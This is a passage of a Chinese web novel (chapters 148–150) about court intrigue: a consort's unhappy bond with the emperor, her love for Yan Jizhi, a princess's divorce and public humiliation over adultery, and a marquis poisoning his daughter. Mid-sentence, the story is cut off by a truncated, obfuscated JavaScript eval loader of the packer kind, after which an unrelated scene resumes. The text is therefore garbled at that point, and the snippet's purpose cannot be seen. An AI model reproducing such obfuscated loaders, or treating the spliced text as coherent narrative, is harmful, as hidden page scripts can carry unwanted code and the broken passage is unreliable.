霍灵渠眼神空空的:“我心里不安,抱着这襁褓,心里踏实些。”她想抱晏霁之啊,可晏霁之不在,她又还想抱着些什么,不抱这个小婴儿难道抱枕头吗? 嬴忱璧注视过贵妃的眼睛,心里叹息,太上皇可能想对贵妃不利,晏霁之禀告时他其实没放在心上,他不觉得他爹能糊涂到胡乱抓人来试验,可按蜀王的意思?唉。 “贵妃莫怕,朕会保护你,不会让人伤害你,你不必担心,没事了,啊。” 霍灵渠恍惚呢喃:“我不想说话,你也不要跟我说话了吧。” 皇帝应:“好。” 漆黑融尽夜的光泽,锤炼,锻造,沉淀,还以深夜深邃。 晨曦出,朱窅絜踩着卯初的朝气扶灵出城,带妹妹回家去。 章醇郡主来到太微宫前跪下,以嫁入原家十多年无所出的名义自请下堂。 当年她和原牧烈的亲事是圣人赐婚,要和离也得太上皇准许。 半个时辰后,旨意出,允。 章醇郡主和原牧烈谢过圣人恩典,再赶往皇城,呈禀皇帝。 原牧烈更是直接在皇帝和霍贵妃面前写下和离书,从此,两人再不相干。 皇帝没有多言,霍灵渠想问:“郡主,值得吗?” 章醇郡主看向她,皇帝默下,带原牧烈离去,章醇苍凉:“贵妃,爱过吗?” 霍灵渠微怔,爱? “贵妃大约是未曾爱过的,章醇就祝贵妃一生不识男女情。”值得吗?章醇不知道,但情爱有多苦,章醇很清楚,世间若能少些情爱的苦还是少些吧。 “我有喜欢的人,是我在北地的少年郎。”霍灵渠说。 “他可曾让你有飞蛾扑火的冲动吗?”章醇郡主温和,却有力透纸背的力量:“就像,你身在这高墙中,想他,念他,想到他不曾约见你,有人想抓你们的把柄,安排你们见面,你明知是陷阱都抑制不住的愿意飞蛾扑火一般出宫去,只为,见他?” 霍灵渠愣住。 “喜欢是开心,爱能致命,章醇就祝贵妃一生不识男女情爱。”章醇郡主颔首,告辞。 霍灵渠缓缓抬手放在自己的心口,爱? 149. 第149章 爱? 霍灵渠回到关雎宫,站在关雎宫前迷惘彷徨,仿佛才觉察关雎的含义。 伫立片刻,大宫女近前两步提醒贵妃,霍灵渠低低眸,慢慢抬步进关雎宫。心神难宁,她让宫人把小婴儿抱来再把罗汉床搬去殿外,她带小婴儿晒晒太阳。 晏霁之来时见到的还是她一副失神的模样。 “你若心里不安,让你妹妹带小外甥进宫来住几天陪陪你吧。” “是非之时,莫多招惹是非了。”霍灵渠神情低颓,没有多看晏霁之。 “我知道,姬汜死在你面前对你冲击很大,你需要时间来缓和,我不劝你,只是后天,老秦王将开赴西北,详查早稻的官员也会在同一天南下,早稻,贵妃居首功,你得陪着陛下给他们送行,后天早上你必须打起精神。”晏霁之叮嘱。 霍灵渠低低嗯声。 晏霁之再告之:“后天,佟振羽和佟蓁蓁也要离京了,明天夏至,他们过完夏至走,带着昌隆侯的信和昌隆侯派给他们的二十名护卫,去找镇南侯。” 霍灵渠没什么反应。 “五月二十四,我也要南下了,去确定迁入塞北的名单,朝廷希望六月二十动迁,最迟也要在七月前,预计中秋前将这批民众迁出长江以南。”晏霁之话落,霍灵渠抬头看向他,晏霁之温柔笑:“我此行会去南海边,从海边给你捡些贝壳来?” 霍灵渠还没想好,皇帝来了,她抱着小婴儿恹恹地走了。 “贵妃心情很低落。”嬴忱璧目送贵妃走远,扫视眼罗汉床及对面的玫瑰椅,没坐,站着注视晏霁之:“没什么想跟朕说的?” 晏霁之不解,皇帝道:“昨天宫宴,朱縠艾死以及她死后的事真的顺理成章吗,你猜测她会找死,姬汜猜不出来吗?” “假若姬汜有数还任由昌隆侯带儿女进宫来,又或者,朱家在进宫前就已明确,朱縠艾会拿霍桑柔养的孩子来做文章,姬汜能不能猜测蜀王不会放过?朕还说呢,蜀王不爱热闹,来凑什么热闹,而姬汜若心中有数?”嬴忱璧轻笑:“不细思极恐么?” 晏霁之提醒:“人家近乎阖族被灭。” 嬴忱璧反告诫:“这是两码事,穆国公讲述姬家往事时形容他们是包藏祸心叛出家族,是他们蛊惑了朱太后才会有后来姬家的惨祸,是因为圣人庇佑才令蜀王杀不得他们,但若他们和蜀王是明修栈道暗度陈仓在蒙骗圣人,还能置之不理吗?” “所以人家近乎阖族被灭就不配想报仇,只配和你一样,在你媳妇只想你驾崩时煞费苦心给妻儿安排后半生的富贵。”晏霁之火大地翻脸走人,嬴忱璧不服气的腹诽:好端端的,迁怒他做什么,一定是报复他昨天让他在关雎宫外站了两三刻钟。 果然,皇帝这几乎是在对朋友的调调。 昌隆侯比章醇郡主早到虢王府,带着章醇和原牧烈和离的消息去的。 既然圣人已经允准,昌隆侯也没再多说什么,是虢王父子和虢王妃全都暴跳如雷,虢王怒得即刻就要打杀那两个孽种,章醇郡主回到娘家,迎面而来的就是疾风暴雨。 章醇清楚的,她爹娘不会同意,但和离是她给自己和这场婚姻的最后体面。 护着儿女倒在堂屋中,章醇闭上眼睛,陷入黑暗或许好受些。 昌隆侯给长女喂补汤喝,虢王世子妃心里舒畅呀,柴姨娘三儿两女,两个女儿全死了,总算让她痛快了一点点!接下来,就该轮到那三兄弟了,但面上,虢王世子妃自然是悲愤地宽慰父亲:“爹您别太忧心,我们必定很快就能给两个妹妹报仇了。” 倏然,虢王世子妃疼痛难忍,一口黑血吐出来,她难以置信的看着父亲。 昌隆侯放下碗,淡淡道:“安心去吧,爹会给你报仇的。” 虢王世子妃抬起她的独臂想去抓眼前这个想害死她的恶魔,手臂还没抬高就垂下,刚扬起些的身体也随之坠下,口鼻黑血四流,眼珠凸出,一命呜呼死不瞑目。 虢王夫妇带着儿子赶来,看见这幕都有点不敢相信,还有朱氏的三个亲儿女在,虢王妃倒不怕因此就断掉和朱家的姻亲,就是发瘆,昌隆侯怎么就能眼皮不眨一下就杀死亲女儿? 虢王世子不知所措,虢王牙齿磕绊:“你、你,你在做什么呀?” “办丧事吧。”昌隆侯抬脚往外走,虢王愣下去追,拉住他,莫名口干舌燥:“你,你干什么要这样呀,我都没想过,你,孩子都被砍掉一条手臂了,你何苦嘛?” 昌隆侯只留给他一个问题:“咱们举事前,必得越不露痕迹越稳妥,你是就带着个儿子来找我抑或独自来找我还是拖家带口把全家带来福建?” 语毕,昌隆侯走人,虢王定住。 虢王世子妃病殁的消息传入刑部大狱,一直闹腾不休的翟猛闻讯反而安静了,夜里牢门被打开,那位姐夫从阴影里走出来,翟猛看他许久,一个跪坐,一个站立,谁都没说话,直到翟猛看累了,惨淡笑起来:“你是来送我上路的?” 昌隆侯反问:“我为何要送你上路?” “你连亲女儿都杀了!”翟猛激动站起来,震得束缚他的铁链也晃动起来,昌隆侯冷漠和着怒火训:“你上个月就该这么做而不是等着我来给你们收拾这种烂摊子!” 翟猛愣下,还是惨淡笑了。 “消停些,养精蓄锐,才有命出去。”昌隆侯警醒,翟猛看向他,想说你还会救我时意识到这姐夫是得救他,否则女儿殁了,若他再出事,安抚不住他姐姐。 “好,你放心。” 入狱以来第一夜,翟猛安静到天亮,早上伙食送来,他抓起白馒头就往嘴里塞。 皇帝检阅南北前线的战力,检阅前,皇帝传召文郯侯,还传了喻美人。 “是昌隆侯举荐由文郯侯你带人南下详查早稻,文郯侯知道的吧?” 文郯侯应过,皇帝交代:“这么点事,圣人也没什么要不允的,但朕总觉得昌隆侯是不是还有什么心思计较?虢王世子妃殁了,若翟猛再死,昌隆侯夫人应该怎么都不能接受吧,翟丽,朕都有耳闻,可不是一般的内宅妇人。” “你南下,多小心,察觉有不对的苗头,尽管报上来。”皇帝的意思很明白了。 文郯侯领旨,谢陛下,喻美人跟着谢恩。 皇帝站起来:“你们父女说说话吧,朕先走了。” 晏霁之在湖边候着,嬴忱璧走出湖心亭,带上他就走,就是防着晏霁之去见贵妃。 霍舒窈进宫来看贵妃堂妹,微讶:“怎么还病恹恹的,前天真吓着你了?” 霍灵渠是还颓唐:“算是吧。” “本来想来跟你说点事的,看你这样,你心情好些,我再跟你谈?”霍舒窈问,霍灵渠让姐姐说吧,霍舒窈也不含糊:“原牧烈跟章醇和离了,据说他俩的和离书还是在你和陛下面前写的?” 霍灵渠嗯声,霍舒窈就问:“那你什么感想?” “感想?”霍灵渠没懂,霍舒窈操心道:“你跟晏霁之还没断嘛,我担心你怀个不是皇帝的胎,虽然我相信你若闹出这种事,肯定会闹着要跟陛下和离,呃不是,是摊牌,而且我还直觉相信咱们扛得住这个事,但也很糟心啊,所以你什么想法?” “大姐你为什么要这样怀疑我呢?”霍灵渠小脸闷闷的。 “因为你让人怀疑嘛。”霍舒窈当然道。 霍灵渠被激起点不服:“为什么?” 霍舒窈轻松压垮:“那你能保证得了你和晏霁之不会逾越吗?” 霍灵渠低落,霍舒窈摊手:“看吧,你自己都保证不了,别人还怎么相信你?” “你可以相信晏霁之。”霍灵渠涌起丝难受,她只能给个不属于她的保证:“他绝不会让他的孩儿变成孽种,怀着胎成亲都不行,必须成婚后再怀。” “哦对,差点忘了。”霍舒窈转念想还是担忧:“他喜欢起来也会不管不顾吧?” “顾的。”霍灵渠说,霍舒窈不放心:“不见得吧,他当年为玉藏珠要死要活的,对你,他就更疯了,可是他自己说的,他会不惜代价,他会破釜沉舟。” 霍灵渠无精打采的:“两码事,一个是原则、一个是决心,决心是他在他的原则内可以给出的全部,他会破釜沉舟是他敢抱着会死的决心,不是坏掉他的原则。” 霍舒窈顺口问:“命都要没了还能顾及原则?” 霍灵渠有气无力:“你看他怕死吗,他自己的问题。” 霍舒窈呃……她看不出来哎:“我瞧着晏霁之应该很惜命,但若说他怕死,能为活着,卑躬屈膝变成个软骨头,我又觉得不可能,你觉得咧?” “一样的感观。”霍灵渠思绪一飘,又想到晏霁之娶妻的事了。 “行吧,你们能保证闹不出事来就行了。” 霍舒窈看她萎靡的,事情说完就走,让妹子休息吧。 霍灵渠倒也想小憩会儿,可烦闷,闭着眼睛都觉得累,好像有巨石压着让她堵得慌,对什么都没心情。 缓过片刻,霍灵渠打起点精神想处理眼前的麻烦,既是个麻烦,处理,宜早不宜迟,她堂姐能担忧她会怀个不是皇帝的胎,少不得会有人在背后怀疑吧? 那么,堵不如疏,反其道而行之远胜一笑置之。 “我不保证我不会怀孕。” 被霍贵妃派宫人请来关雎宫的皇帝嬴忱璧:“……” 还没放冰呢,且,刚检阅过南北前线的战力,心情还不错的皇帝很好的在夏至这天被霍贵妃提前浇了盆冰,嬴忱璧咬牙笑:“贵妃还没有侍寝,当然不会怀孕,贵妃若,” “我是给你预防,省得我跟你摊牌时你觉得你大受冲击。”霍灵渠打断道:“你也提前跟我打声招呼吧,若是我怀孕了,你是能给我一条生路还是要我死乃至诛灭霍家?” 皇帝就快想把牙龈咬出血了还得挤笑:“贵妃——” 霍灵渠再打断:“你不要跟我绕,大家坦诚一点,走明路,不行吗?” 坦诚?嬴忱璧真想呵呵,他这位贵妃真有脸大言不惭啊,妄想红杏出墙还敢标榜坦诚,皇帝真不怕贵妃记恨的说:“若朕选第三种,诛灭霍家,贵妃又欲如何?” 霍灵渠摇头:“不知道。” “贵妃,可是你自己说大家都坦诚一点的。”嬴忱璧谴责。 “对啊,我直觉你能给我一条生路,所以我没想过第二第三种情况。”霍灵渠很坦诚,嬴忱璧被厚颜无耻的贵妃气笑了,这什么意思,看皇帝他好欺负是吧?! “那么朕告诉贵妃,不要妄想了,郭氏敢红杏出墙,朕都没手软。” 霍灵渠幽幽看向皇帝:“所以,她果然是你心爱的女人?” 嬴忱璧:“……” 皇帝耍赖道:“朕要求改话。” 霍灵渠意兴阑珊:“你改吧。” 嬴忱璧当即改成:“贵妃不要妄想了,谁敢红杏出墙,朕都不会手软。” 霍灵渠点出:“可我不会侍寝,我与你完全可以只是合作。” 嬴忱璧看他这位贵妃真会得寸进尺了,明明说好的三年,现在直接把三年省略了:“朕是不知贵妃从哪得来的不会二字而非三年内不会,朕奉劝贵妃不要听信野男人的花言巧语,你的出路、你的未来只系于朕,贵妃愿意可以今夜就侍寝。” 霍灵渠心苦:“你为何非要想把你塞给我呢?” 嬴忱璧没被贵妃的楚楚可怜迷惑:“朕是皇帝,你是贵妃,皇帝的贵妃。” 霍灵渠愁眉难过,舒坦些的皇帝见状,还算善良的想安抚贵妃时,霍灵渠振奋道:“可我真觉得你能放我一条生路,我大姐也觉得我们扛得住这个事,你应该相信女人的直觉,至少我会按我的直觉去做,假若我怀孕了,你会很难堪。” “朕难堪?”还女人的直觉?我还男人的直觉呢! 嬴忱璧生气直飚重重训:“你背夫偷人还怀上孽种,你都还有脸没觉得难堪,你居然敢说我难堪?” 霍灵渠很平和:“因为我觉得你忍得了,我怀孕了,你都不会放我走。” 岂有此理!嬴忱璧冷笑:“贵妃在做白日梦是吧!” 霍灵渠指指桌上的笔墨:“那你写保证吧,我怀孕了,你就放我出宫。” 嬴忱璧对贵妃这点小伎俩嗤之以鼻:“贵妃,不要妄想迷惑朕,朕信你坦诚了,你呢,你却设陷阱来试图引着我往坑里跳,这就是贵妃你的坦诚?” 霍灵渠投石问路:“可我相信我的直觉呀,你若非要坚持我猜错了,那你写保证,假若我怀孕,你就诛灭霍家。我下个月就让自己怀上,我们看看到底谁撒谎?” 嬴忱璧:“……” 欺人太甚!嬴忱璧勃然大怒:“朕对贵妃太好了是吧?” 霍灵渠解读为:“所以,你真的连保证都不敢写,我的直觉是准的。” 皇帝不屑:“朕是顾念太后给你留点体面,否则你两颗脑袋都不够砍。” 霍灵渠寂寥对呛:“你有本事就嘴硬到底吧。” 哼!皇帝憋着得意追击:“朕可以和贵妃保证绝不会有那样的事,而待贵妃侍寝之后,朕这一点还是了解贵妃的,只要你和朕有夫妻之实了,你不会再有妄念。” 霍灵渠抓起搁在边上的软枕抱着,靠在水榭的鹅颈椅中。 小胜的皇帝挨到贵妃身边,还想哄哄贵妃时,霍灵渠很不舒服的愤愤嚷:“章醇郡主为何要把事情闹那么难堪,她若情难自抑,她跟原牧烈和离呀,成婚十二年,偷情至少八年,在外两个孩子都生了,何必那么羞辱人?” 你可真有脸指摘别人,皇帝小心眼的哼唧:“贵妃可以看看自己嘛。” “不一样!”霍灵渠强烈驳斥:“我不想跟你过的心思是敞亮的,你也清楚我不想跟你,我与你之间比清水还清,可章醇郡主呢?!她爱得不能自拔,她和离呀,偷情八年不和离,她一个爱字、爱得让她甘愿飞蛾扑火就想遮掩了,不无耻吗?” 皇帝的关注就在前半段了,着重告诫:“既已是贵妃,贵妃就该守妇德。”你还有脸当着我的面说不想跟我,你不想跟我,你想跟谁,我对你脾气太好了是吧? 然后,皇帝被霍贵妃赶走了。 走出关雎宫,嬴忱璧很不怂地派人去传晏霁之进宫。 晏霁之在酒楼,陪皇帝检阅过南北前线的战力,他回府,撞见佟梦骜在等他。 佟梦骜已经约过外甥两回,这是第三回,可算把大外甥约出来了。一进酒楼的雅间,他就举杯代佟家赔不是,晏霁之不接:“佟家目前还是老太爷当家,将来你大哥佟梦奭当家,你能代表得了佟家吗?你不能,这杯酒,敬错了。” 佟梦骜失笑:“霁之,佟梦奭有几斤几两,你还不清楚吗?我知道老太太疼他,前些年老太爷也还放纵,让你们误会了,但佟家被他祸害成这样,爹绝不会再犯糊涂,你若不信,这就跟我回去见老太爷,我们今天就把佟梦奭扫地出门。” 晏霁之面有厉色的打量他两遍,叹气道:“你还是多关注佟梦从吧。” 佟梦骜不自觉皱眉:“霁之你这话什么意思?” “回京途中病了?”晏霁之摇头,似还有对外祖家衰败的悲悯:“我倒觉得他更像在谋划摆脱你们,窃取佟家和钟家在滁州的生意后,拿银两远走高飞。” 佟梦骜眼神微闪,这两个庶弟? 大概他心里也有疑虑,什么事都没说就走了。他走后,晏煦之带佟梦奭从屏风后出来,佟梦奭面目狰狞,晏煦之瞧着他,只好劝:“你还是稍安勿躁,你若今天就跟佟梦骜翻脸,得不偿失,你女儿还没出嫁呢,他女儿可嫁着个好人家。” 佟梦奭阴着脸走掉,晏煦之走去堂哥身边,叹道:“佟家真是要毁了。” 佟家租赁的宅院这会儿还挺空,佟梦姿带佟蓁蓁出门置办衣物,佟振羽陪同;佟妙兮和房祯毅出门赏荷了,佟梦从帮着大嫂和侄儿筹备佟妙兮的亲事,佟梦骜和佟梦奭也都没在。 佟图匡摇着蒲扇靠在窗边纳凉,一个纸团掉在他的布衫上。 老太爷微怔,把纸团拿起来展开:分家,把佟梦佶分出去,要快。 佟图匡老眼思绪浮动:“霁儿?” 晏霁之随引路的小太监来到海棠轻见到皇帝,行礼问安,小太监告退,嬴忱璧瞥见他,冷嘲热讽:“晌午时,贵妃与朕说,她不保证她不会怀孕,晏卿可有感想?” 晏霁之信誓旦旦:“我会谴责她。” 皇帝冷哼:“谴责她什么呀?” “她侮辱我。”晏霁之批评道:“她这是认为我对自己不负责任、我对她不负责任、我对孩儿不负责任,这还能不是对我的侮辱吗?” 嬴忱璧想把这混球埋了算了:“你就那么肯定,她若怀孕就是你的吗?” 晏霁之很诚挚:“我会告诉霍灵渠,你侮辱她。” 嬴忱璧一噎,拿酒杯砸他,晏霁之避过,嬴忱璧再没好气瞪他,略过道:“贵妃说,这是给朕预防,你觉得贵妃是何意?” 皇帝当然不信霍贵妃和晏霁之能出事。 晏霁之指指空着的座椅,嬴忱璧真想嫌他,摆摆手让他坐吧。 “章醇郡主的事对贵妃影射太大了吧。”晏霁之考量道:“但贵妃这两天心情不佳,应该还无暇顾及,舒窈今早有进宫,应该是舒窈跟贵妃提的。贵妃或许是想,与其等有风言风语传入陛下和圣人耳中,不如她自己下一剂重剂。” 嬴忱璧阴阳怪气:“清者自清,若无所畏惧,用得着兵行险着吗?” 晏霁之怼:“你不像防贼一样防着我吗?” 嬴忱璧差点又想瞪他,懒得跟这混球计较,饮杯酒,姑且就谈谈章醇:“贵妃说,章醇是因为爱得不能自抑、甘愿飞蛾扑火才会红杏出墙,你怎么看?” 我看你在污蔑霍灵渠,晏霁之反问:“贵妃没骂章醇郡主无耻吗?” 嬴忱璧慢过半拍幽幽看向他,晏霁之了然:“看来的确是你想误导我。” 皇帝拿荔枝砸他:“朕误导你作甚,看看你自己,你有什么资格说别人?” 晏霁之反对:“我怎么就没有资格了,我有对你隐藏我对霍灵渠的心思吗?” 嬴忱璧不以为意:“你敢说,你对贵妃很规矩?” 晏霁之反劝:“你可以理解为她是顶着贵妃的名义给你办事,是我的人。” 嬴忱璧死亡一般凝视他,晏霁之不卑不亢:“我们可以皆大欢喜,只要你放手。” “然后认作义妹,长念长公主,是吧?”皇帝喷他:“你可真美呢!” 晏霁之识趣地缄默,嬴忱璧再拿荔枝砸他,晏霁之再避,嬴忱璧消消气,继续原话题:“你认为章醇会红杏出墙只是耐不住寂寞吗?” “臣只是觉得章醇郡主用爱来掩饰,无耻。”晏霁之纠正。 “怎么说?”皇帝问,晏霁之淡淡道:“爱得不能自抑,和离呀。” 嬴忱璧提醒:“章醇和原牧烈是圣旨赐婚。” 晏霁之看皇帝也要有点无耻的倾向了:“昨天不是刚和离么。” 嬴忱璧驳:“霁之,你这话就有点欺负人了,闹成那样,圣人还能不准许他们和离吗?可若只是章醇背着丈夫爱上个野男人,圣人和虢王府,谁能同意?” “所以我才说无耻啊!”晏霁之冷笑:“她自诩因爱偷人却连和离都不敢,假若她能对原牧烈坦诚,公之于众,坚决要和离,她当然可以说爱,可她却是死瞒着夫家又令她的亲骨肉变成奸生子,只图她一己私欲还要标榜爱,不是无耻是什么?” 嬴忱璧沉默几许,点点头:“朕还是想劝你,早些忘记流光姨娘。” 晏霁之不识相的挑破:“其实你很清楚,贵妃的假设不会发生,你盯我盯得这么紧,你有把握我和霍灵渠闹不出事来,你最多再盯三年,所以才不紧不慢吧。” 嬴忱璧睨他眼,君王的气势渐重,没说话,相当于默认。 晏霁之偏又急转谏言:“一个人总觉得事情尽在掌握,也等同于他害怕风险恐惧未知,只会让强大的人越来越胆怯,陛下其实应该有承担风险的能力和勇气。” 嬴忱璧对此言是认可的:“朕会记着。” 晏霁之借坡下驴:“所以,霍灵渠若是今年有孕了,你怎么办?” 嬴忱璧:“……”皇帝想砸死他:“你可真不嫌会自己打脸。” “我只是好奇,霍灵渠怎么猜你的?”晏霁之说。 “……”皇帝板脸训斥:“你想窥探什么,不要让朕觉得你不怀好意。” 晏霁之打量他,看得皇帝心里发毛,晏霁之要求:“我可以和霍灵渠谈谈吧?” “滚!” 晏霁之好意劝:“你又拦不住我不见她。” “是吗?”嬴忱璧讥讽,晏霁之赞同:“我可以请霍贵妃召见我。”言外之意,你若还想拦着霍灵渠,你就等着霍灵渠闹死你吧,嬴忱璧握握拳头,想拍死他算了,咬牙把贵妃的猜测相告再重重批判,晏霁之没眼色的问:“你觉得她的猜测准吗?” “废话!”皇帝要怒了。 “你很像心虚。”晏霁之点评,嬴忱璧发飙:“你真皮痒了是吧?” 晏霁之进一步探究:“你是不是说过,对霍灵渠,不听之任之,你还能怎样?” 嬴忱璧眼皮一跳,以能压得城摧山倾的帝王之威警告他:“不要把两件事混为一谈,这是能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“去什么去?”霍舒窈不耐烦:“至于这样骄纵吗,我就不懂了,你叔叔家是还想给萧灼灼找户好人家呢还是有心想跟朱家结亲啊,要不然至于嘛,就算是个公主,没存点歪心思的人家都要退避三舍了,你可还有个一个娘的亲妹妹没出阁呢。” 霍舒窈告诫:“亲叔叔家这样的家风,你确定影响不到你妹?” 萧耿烨头疼:“可我怎么拦,他们已经决定了,二十五就会南下。” “你就跟他们说,萧灼灼若是去了朱家,清白就得没了。”霍舒窈直截了当。 “灼灼不信啊,耿裕自信有他们陪同,出不了事。”萧耿烨何尝不糟心。 “你跟他们提过了?”霍舒窈讶异,萧耿烨忍不住地露出烦躁,霍舒窈都想飙脏话了:“你叔叔家这二十年就泡在蜜罐里没见识过人心险恶是吧,我跟你说,萧灼灼若要去,你爹陪着都没用,倘若萧灼灼在朱家出事了,怎么收场?” “可拦不住啊!”萧耿烨无奈:“伯父家到底也是外人,单就对耿裕,他自信出不了事,哪怕我跟他翻脸都没用,他什么性子,你又不是不知道。” 霍舒窈宽心道:“你要这么说,那就顺其自然,反正不是我妹子,但我话跟你说前头,你这几个堂弟若是都这么自信,萧家他们这一支将来怕是真要堪忧了。” 萧耿烨疲倦地低头,眼底似比屋外的夜还暗。 夜孜孜不倦走过职责的时间,日出,不擅早起的佟蓁蓁起个大早,卯初就和兄长出门,佟梦姿和兄弟、侄儿侄女们带着祝愿送到城门前,佟图匡也送行了,不过他只送到宅子前,送过他就回屋和往常没两样的待着,静静看着他们回来,有事的又出去。 辰时二刻,佟图匡避过下人走出租赁的宅院,一路低头避着人来到京兆府衙前,站在个不显眼的位置张望,看见晏四,他刚想走过去,晏四给他指指让他去府衙,佟图匡迟疑下,往衙门走去,迈过门槛,一个小吏候着,迎着佟老太爷往里走。 新上任的安西将领们率三千铁骑开赴西北,太极殿前,霍贵妃与霍太后陪着皇帝和太上皇高站,两位至尊表过祝词,老秦王率军奔赴西北,详查早稻的官员南下。 早稻,霍贵妃领首功,她今日才能站在太极殿前,因霍贵妃在,霍太后便也在了。 “放眼天下能陪圣人和陛下站在太极殿前的女人也就两个,皆姓霍,霍家当真煊赫。”昌隆侯从臣子们的队列中站出来褒奖,霍灵渠直视他迎战:“侯爷放心,霍家就是能有十个女人站在太极殿前都比不得当年能陪着肃宗皇帝站在太极殿前的一个男人。” 许多大人被噎下,昌隆侯碰个软钉子,也没恋战,笑着颔首退下。 太极殿前散场,两位至尊离去,昌隆侯接到个禀告,顿时被噎了噎,他都想恭维虢王:你真会膈应人。 虢王府刚刚给虢王世子妃出殡了! 闻讯的人家甚至都愿意相信这不是昌隆侯的意思,这当然不是昌隆侯的意思,但他也少不得要为此事去告罪,还被皇帝微微扎了下:“侯爷是会选亲家的。” 昌隆侯想气定神闲愣是没装出来,赔个笑,告退。 翌日,昌隆侯即离京,纵马飞驰而去。 晏霁之步上城楼目送昌隆侯的身影消失,又在城楼站过会儿,进宫,将昨夜收到的江南巡抚的信呈给皇帝,嬴忱璧拆信,只有两个字:我死。 皇帝把信笺给卿家,晏霁之阅过,说:“柳巡抚能力不错,人也不错。” 洛阳距京畿,日行三四百里大概两天的路程,班家在宫宴后就给班瑛峡送信了,班瑛峡在夏至的午后收到娘家的信,在五月二十三晌午赶到京畿,在娘家没待两刻钟,她点批家丁冲向虢王府,一到虢王府就让小厮叫门,让章醇郡主出来跟她对峙。 围观的人群逐渐增多,原牧蔷拉着她二嫂跑来,班落矜瞥见她,移开眼,又撞见尚好,移过去按按她看热闹的兴奋劲儿,霍舒窈和萧灼灼还有乐邑长公主也都来瞧了瞧。 原牧烈没在,有些看客还真有遗憾,原牧烈若在,才精彩呢。 虢王府大门紧闭,章醇郡主一直没有出现,班瑛峡要的十桶猪粪送来,小厮们再高喊:“请章醇郡主出来,郡主若再不现身,休怪我家姑奶奶往虢王府泼猪粪了。” 看客们险些没成猪肝色,憋笑憋得。 虢王府的大门打开,章醇低眸走出府来,班瑛峡站上前两步,问她:“郡主两个孩儿的父亲是不是我相公梅浮雪?你们两个暗中偷情已至少八年,是也不是?” 章醇不语,任班瑛峡怎么问,她都一字不发。 班瑛峡警告:“你若想用沉默搪塞我,我可就要当你默认了。” 章醇郡主依然垂眸不语。 “好!” 班瑛峡冷笑声上前抓住章醇的头发就暴打,看客们:“……!!”太没预兆了吧。 乐邑转过脸不看,章醇哪会打架呀,被打后连还手都不会的。 霍舒窈心说,难怪班家当年会是丞相的侄女入宫侍奉圣人。 猛地,霍舒窈狂拽乐邑,乐邑看她眼转过头去,倒吸口气,原牧蔷都惊着了,班瑛峡把章醇打得半死不活后又把章醇的衣裳扒下来,把人扔去粪堆里了。 观众们全懵住,萧灼灼被呆滞几息时间后别过脸,班落矜也难直视。 隐在府门后的虢王抓狂,昌隆侯怎么偏偏是昨天走了,只差一天啊! 虢王妃心在滴血,她的女儿,捧在手心里的女儿啊,班家,欺人太甚! 梅浮雪急匆匆赶来,见此情景,肺管都要被戳破了:“瑛峡,你,你,你何必,” “你来得正好!”班瑛峡满目凶光,阴沉沉道:“我要跟你和离!” 梅浮雪不可思议:“你说什么?” 看客们都要怀疑自己听错了,没多久,这场热闹传得城中沸腾了。 京郊还平静着,晏霁之上午跟衙门告假半天,去城外,向师傅借个厨房。 “我明早要南下办差,来给您做只烤鸭,也给她送一只。” “人家都是贵妃了,你还想着干啥呀?”张神医无奈。 “师傅,我只是给她送只烤鸭。”晏霁之说。 “啊呀算了算了,”张神医摆摆手:“老头我去捡柴火。” 晏霁之的烤鸭做好,一只留给师傅,一只装入食盒,送往皇宫。 没有意外的,晏霁之没能去见霍灵渠,被皇帝传过去:“晏卿怎会想给贵妃送烤鸭?” “这烤鸭味儿不错。”晏霁之温和笑。 皇帝嬴忱璧似笑非笑,让宫人拿只新食盒来,将晏霁之送来的烤鸭装入,再让宫人把他这只食盒敲碎检查,没查出花样来,皇帝把烤鸭带去关雎宫给贵妃。 霍灵渠当着皇帝的面把烤鸭慢慢吃了,赶道:“你不放心,把鸭骨收走吧。” “贵妃难道相信晏霁之是单纯送只烤鸭给你吗?”皇帝真没法相信。 “信啊,他在书房里都不用膳的,他那么讲究的人怎么可能会在食盒里藏东西,何况,他又不是不能来关雎宫,我又不是不能请他来关雎宫,犯得着嘛。”霍灵渠站起来告退,心中微涩,能让晏霁之送来的烤鸭必是他自己烹制,她知道。 嬴忱璧注视片刻吃剩下的鸭骨,叹气想,可能就是这烤鸭味儿不错吧。 皇宫外因班家和章醇郡主之事沸腾着,宫里这事没掀起什么水花,萧灼灼倒是有关注,在晏霁之下衙回英王府后跟去打探,没打探出来,改问:“你明天要出京办差啊?” 晏霁之没理会,萧灼灼也不气馁:“玉藏珠估计快进京了,她丈夫十天前就到了,她月底肯定能到的,你都不见她一面再走吗,你把给他们两家的好处断了,她肯定会要来找你,你这趟出京办差少说得个把月吧,你忍心让她等那么久吗?” “我还要去福建祝寿。”晏霁之没再略过,萧灼灼有点夸张:“下福建?” 被对面的瘟神注视眼后,她干笑:“你去给谁祝寿,不会是朱家太夫人吧?” 晏霁之肯定,萧灼灼怎么看都觉得他不怀好意啊:“听说,柴家人被抓了,以你们家跟朱家的关系,你不会是想去把那老夫人气死吧?” 晏霁之逐客,萧灼灼拦道:“等等等等,我也要下福建。” “你家里同意?”晏霁之讶异。 “当然!”萧灼灼昂昂首,神采飞扬:“我爹娘和二哥都陪我去。” “那么,”晏霁之沉吟道:“愿你们家能担起自己犯的苦果,而不是怨天尤人。” “什么啊?”萧灼灼奇怪。 晏霁之淡淡道:“一万两,我的建议费。” 萧灼灼干净利落地走人。 晏霁之望向窗外,夕阳红得像掺进橘黄的热血。 150. 第150章 天际破晓,晏霁之策马出城,南下。 霍灵渠倚在寝殿的窗边,第一次拿起他给她的海螺,放在耳边,听海螺的回音。 虢王夫妇跪在太微宫前求圣人给宗室做主,班太妃出太微宫前往班家。 乐邑长公主看望童年小伙伴:“昨儿个章醇的遭遇,你耳闻了吧?” 她就那么不值得相信吗?霍灵渠闷闷的,乐邑警戒道:“摆什么苦瓜脸,你还真想犯浑不成,章醇是宗室郡主都没逃过,你,你可是个妃子!”乐邑看她这德行都想敲打她了:“你要是敢给我皇兄戴绿帽,什么下场,不用我跟你说了吧?” 霍灵渠眉若戚戚:“班家能全身而退吗?” 乐邑盯着她,这小样还妄想糊弄蒙混,霍灵渠低喃:“我有数。” “你最好真有数!”乐邑再告诫,端起花茶抿口,懒懒道:“班家嘛,不好说,章醇好歹是宗室郡主是圣人的堂侄女,虢王府若能把宗亲联合起来把事说成是班家在欺辱宗室,班家还能落好吗?不管怎样,那班氏做得确实太过火了。” 